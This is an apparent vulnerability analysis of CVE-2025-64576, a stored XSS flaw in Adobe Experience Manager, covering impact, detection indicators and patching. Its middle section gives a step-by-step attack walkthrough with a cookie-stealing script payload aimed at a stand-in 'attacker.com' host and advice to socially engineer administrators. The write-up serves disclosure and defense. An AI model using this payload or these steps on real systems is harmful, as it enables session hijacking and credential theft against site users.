CVE-2025-64576: 
Adobe Experience Manager vulnerability analysis and mitigation

CVE-2025-64576 is a stored Cross-Site Scripting (XSS) vulnerability in Adobe Experience Manager (AEM) that allows a low-privileged attacker to inject malicious scripts into vulnerable form fields. Affected versions include AEM 6.5.23 and earlier (on-premises) and AEM Cloud Service versions prior to 2025.12.0. The vulnerability was published on December 9, 2025, with Adobe releasing the advisory (APSB25-115) the same day. It carries a CVSS v3.1 base score of 5.4 (Medium) (Adobe Advisory, Feedly).

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting), specifically a stored XSS variant. A low-privileged, authenticated attacker can inject malicious JavaScript into vulnerable form fields within AEM; the script is then stored server-side and executes in the browser of any victim who visits the page containing the affected field. Exploitation requires user interaction (a victim browsing to the compromised page) and low privileges, but no special configuration or complex conditions are needed beyond authenticated access (Adobe Advisory, Feedly).

Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of a victim's browser session within AEM, potentially leading to session hijacking, credential theft, unauthorized actions performed on behalf of the victim, and exfiltration of sensitive data accessible to the victim's account. The changed scope (S:C) in the CVSS vector indicates the impact can extend beyond the attacker's own session to affect other users of the platform. While availability is not directly impacted, confidentiality and integrity are both affected at a low level per the CVSS assessment (Adobe Advisory, Feedly).

1. Reconnaissance: Identify Adobe Experience Manager instances running version 6.5.23 or earlier, or AEM Cloud Service prior to 2025.12.0, using web fingerprinting tools or Shodan searches for AEM-specific paths (e.g., /libs/granite/core/content/login.html).
2. Obtain low-privileged access: Register or obtain credentials for a low-privileged AEM user account (e.g., a content author or contributor role).
3. Locate vulnerable form fields: Navigate to AEM pages or components that accept and store user-supplied input (e.g., content authoring forms, comment fields, or metadata fields) that lack proper output encoding.
4. Inject malicious payload: Submit a stored XSS payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>) into the vulnerable form field and save/publish the content.
5. Trigger victim execution: Wait for or socially engineer a higher-privileged user (e.g., an AEM administrator) to browse to the page containing the injected payload, causing the malicious script to execute in their browser context.
6. Harvest results: Collect stolen session cookies, credentials, or other sensitive data from the attacker-controlled server to escalate privileges or perform further unauthorized actions within AEM (Adobe Advisory, Feedly).

• Logs: AEM access logs showing POST requests to content authoring or form submission endpoints containing script tags or encoded JavaScript payloads (e.g., %3Cscript%3E, javascript:, onerror=).
• Logs: AEM error or audit logs showing unexpected content modifications by low-privileged user accounts, particularly to published pages.
• Network: Outbound HTTP/S requests from victim browsers to unknown external domains shortly after visiting AEM-hosted pages, potentially carrying cookie or session data as query parameters.
• File System / Content Repository: Presence of <script> tags or JavaScript event handlers (e.g., onload, onerror, onclick) within stored AEM content nodes (JCR repository) that were not placed by authorized authors.

Adobe has released patches addressing CVE-2025-64576 in AEM 6.5.24.0 (on-premises) and AEM Cloud Service 2025.12.0. Organizations should upgrade to these versions immediately. No specific configuration-based workaround is documented; upgrading to the patched release is the recommended and primary remediation. Administrators should also audit stored content in AEM for signs of injected scripts and review access logs for suspicious activity by low-privileged accounts (Adobe Advisory).

The Center for Internet Security (CIS) published an advisory noting multiple vulnerabilities in Adobe products, including those addressed in APSB25-115, recommending prompt patching. Tenable released a Nessus detection plugin (ID 278346) to help organizations identify vulnerable AEM instances. No notable individual researcher commentary or significant social media discussion specific to CVE-2025-64576 has been observed beyond standard vulnerability tracking (CIS Advisory, Tenable).